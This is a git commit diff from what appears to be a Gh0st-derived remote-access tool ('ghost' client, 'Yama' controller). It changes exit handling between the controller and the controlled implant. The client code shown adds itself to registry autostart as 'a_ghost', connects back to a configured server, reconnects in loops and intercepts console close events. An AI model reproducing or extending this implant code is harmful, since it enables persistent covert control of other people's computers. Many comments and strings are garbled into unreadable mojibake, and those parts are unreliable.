区分开退出主控端和被控端2个消息

在2015RemoteDlg.h添加宏CLIENT_EXIT_WITH_SERVER,用于控制ghost是否随Yama退出。
明确区分开退出被控端和退出主控端2个消息,只有发送退出被控端消息才会停止Socket客户端。
This commit is contained in:
yuanyuanxiang
2019-04-15 16:24:32 +08:00
parent ab7259edda
commit 953d298c1c
11 changed files with 87 additions and 24 deletions

View File

@@ -181,3 +181,11 @@
2019.4.4 2019.4.4
ghost项目采用VS2012 xp模式编译以便支持在XP系统上运行。 ghost项目采用VS2012 xp模式编译以便支持在XP系统上运行。
2019.4.14
在2015RemoteDlg.h添加宏CLIENT_EXIT_WITH_SERVER用于控制ghost是否随Yama退出。
2019.4.15
明确区分开退出被控端和退出主控端2个消息只有发送退出被控端消息才会停止Socket客户端。

View File

@@ -9,10 +9,15 @@
#include "KernelManager.h" #include "KernelManager.h"
using namespace std; using namespace std;
// Զ<>̵<EFBFBD>ַ
char g_szServerIP[MAX_PATH] = {0}; char g_szServerIP[MAX_PATH] = {0};
unsigned short g_uPort = 0; unsigned short g_uPort = 0;
bool g_bExit = false;
bool g_bThreadExit = false; // Ӧ<>ó<EFBFBD><C3B3><EFBFBD>״̬<D7B4><CCAC>1-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 2-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD><CBB3><EFBFBD>
BOOL g_bExit = 0;
// <20><><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>״̬
BOOL g_bThreadExit = 0;
HINSTANCE g_hInstance = NULL; HINSTANCE g_hInstance = NULL;
DWORD WINAPI StartClient(LPVOID lParam); DWORD WINAPI StartClient(LPVOID lParam);
@@ -60,10 +65,14 @@ int main(int argc, const char *argv[])
memcpy(g_szServerIP,szServerIP,strlen(szServerIP)); memcpy(g_szServerIP,szServerIP,strlen(szServerIP));
g_uPort = uPort; g_uPort = uPort;
HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL); do{
g_bExit = 0;
HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
}while (E_RUN == status && 1 != g_bExit);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
status = E_STOP; status = E_STOP;
CloseHandle(hMutex); CloseHandle(hMutex);
@@ -94,6 +103,7 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance,
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>ghost // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>ghost
extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort) extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
{ {
g_bExit = false;
memcpy(g_szServerIP,szServerIP,strlen(szServerIP)); memcpy(g_szServerIP,szServerIP,strlen(szServerIP));
g_uPort = uPort; g_uPort = uPort;
@@ -109,16 +119,19 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
// ֹͣ<CDA3><D6B9><EFBFBD><EFBFBD> // ֹͣ<CDA3><D6B9><EFBFBD><EFBFBD>
extern "C" __declspec(dllexport) void StopRun() { g_bExit = true; } extern "C" __declspec(dllexport) void StopRun() { g_bExit = true; }
// <20>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>ֹͣ // <20>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>ֹͣ
extern "C" __declspec(dllexport) bool IsStoped() { return g_bThreadExit; } extern "C" __declspec(dllexport) bool IsStoped() { return g_bThreadExit; }
// <20>Ƿ<EFBFBD><C7B7>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD>
extern "C" __declspec(dllexport) bool IsExit() { return 1 == g_bExit; }
#endif #endif
DWORD WINAPI StartClient(LPVOID lParam) DWORD WINAPI StartClient(LPVOID lParam)
{ {
IOCPClient *ClientObject = new IOCPClient(); IOCPClient *ClientObject = new IOCPClient();
g_bThreadExit = false;
while (!g_bExit) while (!g_bExit)
{ {
DWORD dwTickCount = GetTickCount(); DWORD dwTickCount = GetTickCount();

View File

@@ -118,7 +118,8 @@ enum
COMMAND_REG_FIND, //ע<><D7A2><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶ COMMAND_REG_FIND, //ע<><D7A2><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶ
TOKEN_REG_KEY, TOKEN_REG_KEY,
TOKEN_REG_PATH, TOKEN_REG_PATH,
COMMAND_BYE COMMAND_BYE, // <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
SERVER_EXIT, // <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
}; };

View File

@@ -180,9 +180,9 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
if (This->m_Manager->m_bIsDead) if (This->m_Manager->m_bIsDead)
{ {
printf("****** Recv bye bye ******\n"); printf("****** Recv bye bye ******\n");
// <20>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD> // <20><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><EFBFBD>˳<EFBFBD><EFBFBD>ͻ<EFBFBD><EFBFBD>˺<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ضˣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>˳<EFBFBD><EFBFBD>ͻ<EFBFBD><EFBFBD><EFBFBD>
extern bool g_bExit; extern BOOL g_bExit;
g_bExit = true; g_bExit = This->m_Manager->m_bIsDead;
break; break;
} }
} }

View File

@@ -74,10 +74,22 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case COMMAND_BYE: case COMMAND_BYE:
{ {
BYTE bToken = COMMAND_BYE; //<2F><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h BYTE bToken = COMMAND_BYE;// <EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD><EFBFBD>˳<EFBFBD>
m_ClientObject->OnServerSending((char*)&bToken, 1); m_ClientObject->OnServerSending((char*)&bToken, 1);
m_bIsDead = true; //say goodbye m_bIsDead = 1;
OutputDebugStringA("======> Bye bye \n"); OutputDebugStringA("======> Client exit \n");
m_hThread[m_ulThreadCount].p = NULL;
delete pNew;
pNew = NULL;
break;
}
case SERVER_EXIT:
{
BYTE bToken = SERVER_EXIT;// <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
m_ClientObject->OnServerSending((char*)&bToken, 1);
m_bIsDead = 2;
OutputDebugStringA("======> Server exit \n");
m_hThread[m_ulThreadCount].p = NULL; m_hThread[m_ulThreadCount].p = NULL;
delete pNew; delete pNew;
pNew = NULL; pNew = NULL;

View File

@@ -14,7 +14,7 @@ class IOCPClient;
class CManager class CManager
{ {
public: public:
bool m_bIsDead; // bye-bye BOOL m_bIsDead; // 1-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 2-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
CManager(IOCPClient* ClientObject); CManager(IOCPClient* ClientObject);
virtual ~CManager(); virtual ~CManager();

View File

@@ -106,9 +106,9 @@ BEGIN
VALUE "CompanyName", "FUCK THE UNIVERSE" VALUE "CompanyName", "FUCK THE UNIVERSE"
VALUE "FileDescription", "A GHOST" VALUE "FileDescription", "A GHOST"
VALUE "FileVersion", "1.0.0.5" VALUE "FileVersion", "1.0.0.5"
VALUE "InternalName", "ServerDl.dll" VALUE "InternalName", "ServerDll.dll"
VALUE "LegalCopyright", "Copyright (C) 2019-2025" VALUE "LegalCopyright", "Copyright (C) 2019-2025"
VALUE "OriginalFilename", "ServerDl.dll" VALUE "OriginalFilename", "ServerDll.dll"
VALUE "ProductName", "A GHOST" VALUE "ProductName", "A GHOST"
VALUE "ProductVersion", "1.0.0.1" VALUE "ProductVersion", "1.0.0.1"
END END

View File

@@ -12,6 +12,11 @@ StopRun stop = NULL;
// <20>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>ֹͣ // <20>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>ֹͣ
IsStoped bStop = NULL; IsStoped bStop = NULL;
// <20>Ƿ<EFBFBD><C7B7>˳<EFBFBD><CBB3><EFBFBD><EFBFBD>ض<EFBFBD>
IsStoped bExit = NULL;
BOOL status = 0;
struct CONNECT_ADDRESS struct CONNECT_ADDRESS
{ {
DWORD dwFlag; DWORD dwFlag;
@@ -50,12 +55,26 @@ BOOL SetSelfStart(const char *sPath, const char *sNmae)
return lRet == ERROR_SUCCESS; return lRet == ERROR_SUCCESS;
} }
BOOL CALLBACK callback(DWORD CtrlType)
{
if (CtrlType == CTRL_CLOSE_EVENT)
{
status = 1;
if(stop) stop();
while(1==status)
Sleep(20);
}
return TRUE;
}
int main(int argc, const char *argv[]) int main(int argc, const char *argv[])
{ {
if(!SetSelfStart(argv[0], "a_ghost")) if(!SetSelfStart(argv[0], "a_ghost"))
{ {
std::cout<<"<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>.\n"; std::cout<<"<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>.\n";
} }
status = 0;
SetConsoleCtrlHandler(&callback, TRUE);
char path[_MAX_PATH], *p = path; char path[_MAX_PATH], *p = path;
GetModuleFileNameA(NULL, path, sizeof(path)); GetModuleFileNameA(NULL, path, sizeof(path));
while (*p) ++p; while (*p) ++p;
@@ -66,6 +85,7 @@ int main(int argc, const char *argv[])
TestRun run = hDll ? TestRun(GetProcAddress(hDll, "TestRun")) : NULL; TestRun run = hDll ? TestRun(GetProcAddress(hDll, "TestRun")) : NULL;
stop = hDll ? StopRun(GetProcAddress(hDll, "StopRun")) : NULL; stop = hDll ? StopRun(GetProcAddress(hDll, "StopRun")) : NULL;
bStop = hDll ? IsStoped(GetProcAddress(hDll, "IsStoped")) : NULL; bStop = hDll ? IsStoped(GetProcAddress(hDll, "IsStoped")) : NULL;
bExit = hDll ? IsStoped(GetProcAddress(hDll, "IsExit")) : NULL;
if (run) if (run)
{ {
char *ip = g_ConnectAddress.szServerIP; char *ip = g_ConnectAddress.szServerIP;
@@ -77,12 +97,13 @@ int main(int argc, const char *argv[])
port = GetPrivateProfileIntA("remote", "port", 2356, path); port = GetPrivateProfileIntA("remote", "port", 2356, path);
} }
printf("[remote] %s:%d\n", ip, port); printf("[remote] %s:%d\n", ip, port);
run(ip, port); do
#ifdef _DEBUG {
while(1){ char ch[64]; std::cin>>ch; if (ch[0]=='q'){ break; } } run(ip, port);
if (stop) stop(); while(bStop && !bStop() && 0 == status)
while(bStop && !bStop()) Sleep(200); Sleep(20);
#endif } while (bExit && !bExit() && 0 == status);
} }
status = 0;
return -1; return -1;
} }

View File

@@ -539,7 +539,7 @@ void CMy2015RemoteDlg::OnClose()
Shell_NotifyIcon(NIM_DELETE, &m_Nid); Shell_NotifyIcon(NIM_DELETE, &m_Nid);
#endif #endif
BYTE bToken = COMMAND_BYE; BYTE bToken = CLIENT_EXIT_WITH_SERVER ? COMMAND_BYE : SERVER_EXIT;
int n = m_CList_Online.GetItemCount(); int n = m_CList_Online.GetItemCount();
for(int Pos = 0; Pos < n; ++Pos) for(int Pos = 0; Pos < n; ++Pos)
{ {

View File

@@ -14,6 +14,13 @@
////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////
#if INDEPENDENT
// <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>˳<EFBFBD><CBB3><EFBFBD><EFBFBD>ض<EFBFBD>ʱҲ<CAB1>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD>
#define CLIENT_EXIT_WITH_SERVER 0
#else
#define CLIENT_EXIT_WITH_SERVER 1
#endif
typedef struct _LOGIN_INFOR typedef struct _LOGIN_INFOR
{ {
BYTE bToken; // ȡ1<C8A1><31><EFBFBD><EFBFBD>½<EFBFBD><C2BD>Ϣ BYTE bToken; // ȡ1<C8A1><31><EFBFBD><EFBFBD>½<EFBFBD><C2BD>Ϣ

View File

@@ -168,7 +168,8 @@ enum
COMMAND_REG_FIND, //ע<><D7A2><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶ COMMAND_REG_FIND, //ע<><D7A2><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶ
TOKEN_REG_KEY, TOKEN_REG_KEY,
TOKEN_REG_PATH, TOKEN_REG_PATH,
COMMAND_BYE COMMAND_BYE, // <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
SERVER_EXIT, // <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
}; };